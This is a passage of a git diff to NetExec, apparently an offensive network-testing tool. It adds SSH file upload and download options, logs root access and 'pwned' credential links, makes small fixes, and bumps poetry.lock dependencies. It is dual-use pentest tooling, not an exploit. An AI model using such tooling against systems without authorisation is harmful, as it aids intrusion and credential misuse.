"{download_path}"') + try: + sftp_conn.get(remote_path, download_path) + self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') + except Exception as e: + self.logger.fail(f'Error getting file "{remote_path}": {e}') + if os.path.getsize(download_path) == 0: + os.remove(download_path) - self.db.add_loggedin_relation(cred_id, host_id, shell=shell_access) - - if shell_access and self.server_os_platform == "Linux": - self.check_if_admin() - if self.admin_privs: - self.logger.debug(f"User {username} logged in successfully and is root!") - if self.args.key_file: - self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id) - else: - self.db.add_admin_user("plaintext", username, password, host_id=host_id, cred_id=cred_id) - - if self.args.key_file: - password = f"{process_secret(password)} (keyfile: {self.args.key_file})" - - display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if shell_access else ''}" - self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}") - - return True + def get_file(self): + sftp_conn = self.conn.open_sftp() + for src, dest in self.args.get_file: + self.get_file_single(sftp_conn, src, dest) + sftp_conn.close() def execute(self, payload=None, get_output=False): if not payload and self.args.execute: @@ -292,6 +337,6 @@ class ssh(connection): else: self.logger.success("Executed command") if get_output: - for line in stdout.split("\n"): + for line in stdout.replace("\r\n", "\n").rstrip("\n").split("\n"): self.logger.highlight(line.strip("\n")) return stdout diff --git a/nxc/protocols/ssh/database.py b/nxc/protocols/ssh/database.py index e94704be..88aa6e27 100644 --- a/nxc/protocols/ssh/database.py +++ b/nxc/protocols/ssh/database.py @@ -256,7 +256,7 @@ class database(BaseDB): hosts = self.get_hosts(host_id) if creds and hosts: - for cred, host in zip(creds, hosts): + for cred, host in zip(creds, hosts, strict=True): cred_id = cred[0] host_id = host[0] link = {"credid": cred_id, "hostid": host_id} diff --git a/nxc/protocols/ssh/proto_args.py b/nxc/protocols/ssh/proto_args.py index f85ccbe4..8f82b787 100644 --- a/nxc/protocols/ssh/proto_args.py +++ b/nxc/protocols/ssh/proto_args.py @@ -12,6 +12,10 @@ def proto_args(parser, parents): ssh_parser.add_argument("--get-output-tries", type=int, default=5, help="Number of times with sudo command tries to get results") sudo_check_method_arg.make_required.append(sudo_check_arg) + files_group = ssh_parser.add_argument_group("Files", "Options for remote file interaction") + files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt /tmp/whoami.txt") + files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: /tmp/whoami.txt whoami.txt") + cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") diff --git a/nxc/protocols/vnc.py b/nxc/protocols/vnc.py index fd3413f3..fb6e4d29 100644 --- a/nxc/protocols/vnc.py +++ b/nxc/protocols/vnc.py @@ -31,8 +31,11 @@ class vnc(connection): self.print_host_info() if self.login(): if hasattr(self.args, "module") and self.args.module: + self.load_modules() + self.logger.debug("Calling modules") self.call_modules() else: + self.logger.debug("Calling command arguments") self.call_cmd_args() def proto_logger(self): diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index 77796b4a..ea3dee3a 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -72,8 +72,6 @@ class winrm(connection): self.logger.extra["port"] = self.port self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})") - return True - def create_conn_obj(self): if self.is_link_local_ipv6: self.logger.fail("winrm not support link-local ipv6, exiting...") diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py index ffb00a09..fdc09c08 100644 --- a/nxc/protocols/winrm/database.py +++ b/nxc/protocols/winrm/database.py @@ -213,7 +213,7 @@ class database(BaseDB): hosts = self.get_hosts(host) if users and hosts: - for user, host in zip(users, hosts): + for user, host in zip(users, hosts, strict=True): user_id = user[0] host_id = host[0] link = {"userid": user_id, "hostid": host_id} diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 043b9518..caf9fd8c 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -146,7 +146,6 @@ class wmi(connection): self.logger.extra["protocol"] = "RPC" self.logger.extra["port"] = "135" self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})") - return True def check_if_admin(self): try: diff --git a/poetry.lock b/poetry.lock index ec974d9f..157c33bd 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,21 +1,18 @@ -# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.8.4 and should not be changed by hand. [[package]] name = "aardwolf" -version = "0.2.8" +version = "0.2.11" description = "Asynchronous RDP protocol implementation" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "aardwolf-0.2.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1fd1b9e54ce6df904f6db3bd22e7e0aeb5b400991c973a823fa98b713e0fe672"}, - {file = "aardwolf-0.2.8-cp310-cp310-win_amd64.whl", hash = "sha256:87a2bb7c01871567bf91655a143624d2d2a86c3f0688ac11ccf117197acbad25"}, - {file = "aardwolf-0.2.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d1d5d99886266050537e9816c9d8fcf1171ef10f04aac89b057972d2fddd134"}, - {file = "aardwolf-0.2.8-cp311-cp311-win_amd64.whl", hash = "sha256:8e8c9b18a66b4b283436f3680356ef99c567b4e6a4aa77d125191840efe8843e"}, - {file = "aardwolf-0.2.8-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51065eec8659f77f0cf444156724a8a9cc2e6d357f9a5ae0da0d0f9b30bbcfbc"}, - {file = "aardwolf-0.2.8-cp38-cp38-win_amd64.whl", hash = "sha256:05057c42a968c1d6b60613475e8e998b359e5593dd1ee58a21d56868d0790c49"}, - {file = "aardwolf-0.2.8-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1199ad08f53b4c2880f6dceaae70f0b497c9aca943cdbf249ec5f8bac5256bf0"}, - {file = "aardwolf-0.2.8-cp39-cp39-win_amd64.whl", hash = "sha256:9027a2c9c247b9cd920d0e4848ebef5e7abf32869c1c37fa73b3bca781253c36"}, - {file = "aardwolf-0.2.8.tar.gz", hash = "sha256:b2f7d56730d33d45c3e4e6047c22360c618c628151ba4d426c275ded56a4c51d"}, + {file = "aardwolf-0.2.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d071445ac0afed6e14e7cff1187db26c6331e84c383ea305b1f9041153dd71c4"}, + {file = "aardwolf-0.2.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:764bfe8cf5898b08e1c0923bea9b9a887b044d9e95461cecf59d864b7f0884dc"}, + {file = "aardwolf-0.2.11-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5fb78ff2f410ff7effffc22bf7ba72f0dd0c95a6b7ac14d548ccbbc646699c27"}, + {file = "aardwolf-0.2.11-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c80a755da73568c61803957980266f6fdcd414507f9bfe628230f7a18d116b2e"}, + {file = "aardwolf-0.2.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce4bf855bec187c4ad5420f1da66ce1799f16dd0a34f81904e02e860ed85bbec"}, + {file = "aardwolf-0.2.11.tar.gz", hash = "sha256:46dc892703f133961b782fd2971124803cba7409ea5dad5b4ebb7653b16dcdf3"}, ] [package.dependencies] @@ -59,13 +56,13 @@ files = [ [[package]] name = "aiosmb" -version = "0.4.10" +version = "0.4.11" description = "Asynchronous SMB protocol implementation" optional = false python-versions = ">=3.7" files = [ - {file = "aiosmb-0.4.10-py3-none-any.whl", hash = "sha256:8b6f4c586fcd4e757e31aa3ea5a17060d9355d8994011ff6040acc18c578c023"}, - {file = "aiosmb-0.4.10.tar.gz", hash = "sha256:b8de656e1b8fb7d6b1a766534f10e01ee0d1c254235c03449063e04092f5a3dd"}, + {file = "aiosmb-0.4.11-py3-none-any.whl", hash = "sha256:a3b84893cded7aa1ebf048c0f5267024f2c030e5d918e4d8d8b86f8974a4011a"}, + {file = "aiosmb-0.4.11.tar.gz", hash = "sha256:6d66f51ed2354f76f206613eac0d63f37cfd9ed44be9f8a06594d410244273d7"}, ] [package.dependencies] @@ -146,13 +143,13 @@ files = [ [[package]] name = "argcomplete" -version = "3.4.0" +version = "3.5.1" description = "Bash tab completion for argparse" optional = false python-versions = ">=3.8" files = [ - {file = "argcomplete-3.4.0-py3-none-any.whl", hash = "sha256:69a79e083a716173e5532e0fa3bef45f793f4e61096cf52b5a42c0211c8b8aa5"}, - {file = "argcomplete-3.4.0.tar.gz", hash = "sha256:c2abcdfe1be8ace47ba777d4fce319eb13bf8ad9dace8d085dcad6eded88057f"}, + {file = "argcomplete-3.5.1-py3-none-any.whl", hash = "sha256:1a1d148bdaa3e3b93454900163403df41448a248af01b6e849edc5ac08e6c363"}, + {file = "argcomplete-3.5.1.tar.gz", hash = "sha256:eb1ee355aa2557bd3d0145de7b06b2a45b0ce461e1e7813f5d066039ab4177b4"}, ] [package.extras] @@ -189,13 +186,13 @@ shell = ["prompt_toolkit"] [[package]] name = "asyauth" -version = "0.0.20" +version = "0.0.21" description = "Unified authentication library" optional = false python-versions = ">=3.7" files = [ - {file = "asyauth-0.0.20-py3-none-any.whl", hash = "sha256:b4697c5be28869bb5df8ff217564e77a863385ef9495da7cb215deac4ebe9fac"}, - {file = "asyauth-0.0.20.tar.gz", hash = "sha256:41056020f7689cf5f0a559759c7f02a6ce2719bda84df783bd1058d5781e514b"}, + {file = "asyauth-0.0.21-py3-none-any.whl", hash = "sha256:1098ced8f4dfda74db535bc961e7667714154a440761821e26c8b637c95a2775"}, + {file = "asyauth-0.0.21.tar.gz", hash = "sha256:34cc10c5f8628ff2e25b5116dc98efc5ca45532f163ccd3f9147a3e02dd810eb"}, ] [package.dependencies] @@ -206,13 +203,13 @@ unicrypto = ">=0.0.10" [[package]] name = "asysocks" -version = "0.2.12" +version = "0.2.13" description = "" optional = false python-versions = ">=3.6" files = [ - {file = "asysocks-0.2.12-py3-none-any.whl", hash = "sha256:fe327e165e0eba750989ec34005b706ee68e8357d7d6c6478ebadc88ba482eb7"}, - {file = "asysocks-0.2.12.tar.gz", hash = "sha256:ba296f263b99aef742da6e338570a46f32e3c2d6c2d65896119db461aec5609d"}, + {file = "asysocks-0.2.13-py3-none-any.whl", hash = "sha256:e32f478eac58566162d3e5af02ed6b6625317d9ddf83af22109bd13a24ef721a"}, + {file = "asysocks-0.2.13.tar.gz", hash = "sha256:44185b2c471e63b7293173967eef3b0f5e60ed5cc1b7650a30a9569e49ff25f8"}, ] [package.dependencies] @@ -346,18 +343,17 @@ files = [ [[package]] name = "bloodhound" -version = "1.7.2" +version = "1.8.0" description = "Python based ingestor for BloodHound" optional = false python-versions = "*" files = [ - {file = "bloodhound-1.7.2-py3-none-any.whl", hash = "sha256:4395feb0df85ae855b369446140746f9b86bcb2d2a328fb14ae45c20a46243f8"}, - {file = "bloodhound-1.7.2.tar.gz", hash = "sha256:512654d7d74ba69a2ad7df89305b62a23c8993a6e3f7a9cfd89403abb2459073"}, + {file = "bloodhound-1.8.0-py3-none-any.whl", hash = "sha256:97dcef77fa38dbab7219909c117eb9fd7263aff107cee0bf6fc7a0d0db9a61ac"}, + {file = "bloodhound-1.8.0.tar.gz", hash = "sha256:35ed0f1fdda2b1d79a4e9d891cabe2c55309a32743aeed16d885f3d809f409b3"}, ] [package.dependencies] dnspython = "*" -future = "*" impacket = ">=0.9.17" ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" pyasn1 = ">=0.4" @@ -379,74 +375,89 @@ beautifulsoup4 = "*" [[package]] name = "certifi" -version = "2024.7.4" +version = "2024.8.30" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" files = [ - {file = "certifi-2024.7.4-py3-none-any.whl", hash = "sha256:c198e21b1289c2ab85ee4e67bb4b4ef3ead0892059901a8d5b622f24a1101e90"}, - {file = "certifi-2024.7.4.tar.gz", hash = "sha256:5a1e7645bc0ec61a09e26c36f6106dd4cf40c6db3a1fb6352b0244e7fb057c7b"}, + {file = "certifi-2024.8.30-py3-none-any.whl", hash = "sha256:922820b53db7a7257ffbda3f597266d435245903d80737e34f8a45ff3e3230d8"}, + {file = "certifi-2024.8.30.tar.gz", hash = "sha256:bec941d2aa8195e248a60b31ff9f0558284cf01a52591ceda73ea9afffd69fd9"}, ] [[package]] name = "cffi" -version = "1.16.0" +version = "1.17.1" description = "Foreign Function Interface for Python calling C code." optional = false python-versions = ">=3.8" files = [ - {file = "cffi-1.16.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:6b3d6606d369fc1da4fd8c357d026317fbb9c9b75d36dc16e90e84c26854b088"}, - {file = "cffi-1.16.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ac0f5edd2360eea2f1daa9e26a41db02dd4b0451b48f7c318e217ee092a213e9"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7e61e3e4fa664a8588aa25c883eab612a188c725755afff6289454d6362b9673"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a72e8961a86d19bdb45851d8f1f08b041ea37d2bd8d4fd19903bc3083d80c896"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b50bf3f55561dac5438f8e70bfcdfd74543fd60df5fa5f62d94e5867deca684"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7651c50c8c5ef7bdb41108b7b8c5a83013bfaa8a935590c5d74627c047a583c7"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4108df7fe9b707191e55f33efbcb2d81928e10cea45527879a4749cbe472614"}, - {file = "cffi-1.16.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:32c68ef735dbe5857c810328cb2481e24722a59a2003018885514d4c09af9743"}, - {file = "cffi-1.16.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:673739cb539f8cdaa07d92d02efa93c9ccf87e345b9a0b556e3ecc666718468d"}, - {file = "cffi-1.16.0-cp310-cp310-win32.whl", hash = "sha256:9f90389693731ff1f659e55c7d1640e2ec43ff725cc61b04b2f9c6d8d017df6a"}, - {file = "cffi-1.16.0-cp310-cp310-win_amd64.whl", hash = "sha256:e6024675e67af929088fda399b2094574609396b1decb609c55fa58b028a32a1"}, - {file = "cffi-1.16.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b84834d0cf97e7d27dd5b7f3aca7b6e9263c56308ab9dc8aae9784abb774d404"}, - {file = "cffi-1.16.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1b8ebc27c014c59692bb2664c7d13ce7a6e9a629be20e54e7271fa696ff2b417"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ee07e47c12890ef248766a6e55bd38ebfb2bb8edd4142d56db91b21ea68b7627"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8a9d3ebe49f084ad71f9269834ceccbf398253c9fac910c4fd7053ff1386936"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e70f54f1796669ef691ca07d046cd81a29cb4deb1e5f942003f401c0c4a2695d"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5bf44d66cdf9e893637896c7faa22298baebcd18d1ddb6d2626a6e39793a1d56"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7b78010e7b97fef4bee1e896df8a4bbb6712b7f05b7ef630f9d1da00f6444d2e"}, - {file = "cffi-1.16.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:c6a164aa47843fb1b01e941d385aab7215563bb8816d80ff3a363a9f8448a8dc"}, - {file = "cffi-1.16.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:e09f3ff613345df5e8c3667da1d918f9149bd623cd9070c983c013792a9a62eb"}, - {file = "cffi-1.16.0-cp311-cp311-win32.whl", hash = "sha256:2c56b361916f390cd758a57f2e16233eb4f64bcbeee88a4881ea90fca14dc6ab"}, - {file = "cffi-1.16.0-cp311-cp311-win_amd64.whl", hash = "sha256:db8e577c19c0fda0beb7e0d4e09e0ba74b1e4c092e0e40bfa12fe05b6f6d75ba"}, - {file = "cffi-1.16.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:fa3a0128b152627161ce47201262d3140edb5a5c3da88d73a1b790a959126956"}, - {file = "cffi-1.16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:68e7c44931cc171c54ccb702482e9fc723192e88d25a0e133edd7aff8fcd1f6e"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:abd808f9c129ba2beda4cfc53bde801e5bcf9d6e0f22f095e45327c038bfe68e"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:88e2b3c14bdb32e440be531ade29d3c50a1a59cd4e51b1dd8b0865c54ea5d2e2"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fcc8eb6d5902bb1cf6dc4f187ee3ea80a1eba0a89aba40a5cb20a5087d961357"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b7be2d771cdba2942e13215c4e340bfd76398e9227ad10402a8767ab1865d2e6"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e715596e683d2ce000574bae5d07bd522c781a822866c20495e52520564f0969"}, - {file = "cffi-1.16.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:2d92b25dbf6cae33f65005baf472d2c245c050b1ce709cc4588cdcdd5495b520"}, - {file = "cffi-1.16.0-cp312-cp312-win32.whl", hash = "sha256:b2ca4e77f9f47c55c194982e10f058db063937845bb2b7a86c84a6cfe0aefa8b"}, - {file = "cffi-1.16.0-cp312-cp312-win_amd64.whl", hash = "sha256:68678abf380b42ce21a5f2abde8efee05c114c2fdb2e9eef2efdb0257fba1235"}, - {file = "cffi-1.16.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0c9ef6ff37e974b73c25eecc13952c55bceed9112be2d9d938ded8e856138bcc"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a09582f178759ee8128d9270cd1344154fd473bb77d94ce0aeb2a93ebf0feaf0"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e760191dd42581e023a68b758769e2da259b5d52e3103c6060ddc02c9edb8d7b"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:80876338e19c951fdfed6198e70bc88f1c9758b94578d5a7c4c91a87af3cf31c"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a6a14b17d7e17fa0d207ac08642c8820f84f25ce17a442fd15e27ea18d67c59b"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6602bc8dc6f3a9e02b6c22c4fc1e47aa50f8f8e6d3f78a5e16ac33ef5fefa324"}, - {file = "cffi-1.16.0-cp38-cp38-win32.whl", hash = "sha256:131fd094d1065b19540c3d72594260f118b231090295d8c34e19a7bbcf2e860a"}, - {file = "cffi-1.16.0-cp38-cp38-win_amd64.whl", hash = "sha256:31d13b0f99e0836b7ff893d37af07366ebc90b678b6664c955b54561fc36ef36"}, - {file = "cffi-1.16.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:582215a0e9adbe0e379761260553ba11c58943e4bbe9c36430c4ca6ac74b15ed"}, - {file = "cffi-1.16.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b29ebffcf550f9da55bec9e02ad430c992a87e5f512cd63388abb76f1036d8d2"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dc9b18bf40cc75f66f40a7379f6a9513244fe33c0e8aa72e2d56b0196a7ef872"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9cb4a35b3642fc5c005a6755a5d17c6c8b6bcb6981baf81cea8bfbc8903e8ba8"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b86851a328eedc692acf81fb05444bdf1891747c25af7529e39ddafaf68a4f3f"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c0f31130ebc2d37cdd8e44605fb5fa7ad59049298b3f745c74fa74c62fbfcfc4"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f8e709127c6c77446a8c0a8c8bf3c8ee706a06cd44b1e827c3e6a2ee6b8c098"}, - {file = "cffi-1.16.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:748dcd1e3d3d7cd5443ef03ce8685043294ad6bd7c02a38d1bd367cfd968e000"}, - {file = "cffi-1.16.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8895613bcc094d4a1b2dbe179d88d7fb4a15cee43c052e8885783fac397d91fe"}, - {file = "cffi-1.16.0-cp39-cp39-win32.whl", hash = "sha256:ed86a35631f7bfbb28e108dd96773b9d5a6ce4811cf6ea468bb6a359b256b1e4"}, - {file = "cffi-1.16.0-cp39-cp39-win_amd64.whl", hash = "sha256:3686dffb02459559c74dd3d81748269ffb0eb027c39a6fc99502de37d501faa8"}, - {file = "cffi-1.16.0.tar.gz", hash = "sha256:bcb3ef43e58665bbda2fb198698fcae6776483e0c4a631aa5647806c25e02cc0"}, + {file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"}, + {file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edae79245293e15384b51f88b00613ba9f7198016a5948b5dddf4917d4d26382"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45398b671ac6d70e67da8e4224a065cec6a93541bb7aebe1b198a61b58c7b702"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad9413ccdeda48c5afdae7e4fa2192157e991ff761e7ab8fdd8926f40b160cc3"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5da5719280082ac6bd9aa7becb3938dc9f9cbd57fac7d2871717b1feb0902ab6"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bb1a08b8008b281856e5971307cc386a8e9c5b625ac297e853d36da6efe9c17"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:045d61c734659cc045141be4bae381a41d89b741f795af1dd018bfb532fd0df8"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:6883e737d7d9e4899a8a695e00ec36bd4e5e4f18fabe0aca0efe0a4b44cdb13e"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b8b4a92e1c65048ff98cfe1f735ef8f1ceb72e3d5f0c25fdb12087a23da22be"}, + {file = "cffi-1.17.1-cp310-cp310-win32.whl", hash = "sha256:c9c3d058ebabb74db66e431095118094d06abf53284d9c81f27300d0e0d8bc7c"}, + {file = "cffi-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:0f048dcf80db46f0098ccac01132761580d28e28bc0f78ae0d58048063317e15"}, + {file = "cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401"}, + {file = "cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f75c7ab1f9e4aca5414ed4d8e5c0e303a34f4421f8a0d47a4d019ceff0ab6af4"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1ed2dd2972641495a3ec98445e09766f077aee98a1c896dcb4ad0d303628e41"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46bf43160c1a35f7ec506d254e5c890f3c03648a4dbac12d624e4490a7046cd1"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a24ed04c8ffd54b0729c07cee15a81d964e6fee0e3d4d342a27b020d22959dc6"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:610faea79c43e44c71e1ec53a554553fa22321b65fae24889706c0a84d4ad86d"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a9b15d491f3ad5d692e11f6b71f7857e7835eb677955c00cc0aefcd0669adaf6"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:de2ea4b5833625383e464549fec1bc395c1bdeeb5f25c4a3a82b5a8c756ec22f"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:fc48c783f9c87e60831201f2cce7f3b2e4846bf4d8728eabe54d60700b318a0b"}, + {file = "cffi-1.17.1-cp311-cp311-win32.whl", hash = "sha256:85a950a4ac9c359340d5963966e3e0a94a676bd6245a4b55bc43949eee26a655"}, + {file = "cffi-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:caaf0640ef5f5517f49bc275eca1406b0ffa6aa184892812030f04c2abf589a0"}, + {file = "cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4"}, + {file = "cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93"}, + {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3"}, + {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8"}, + {file = 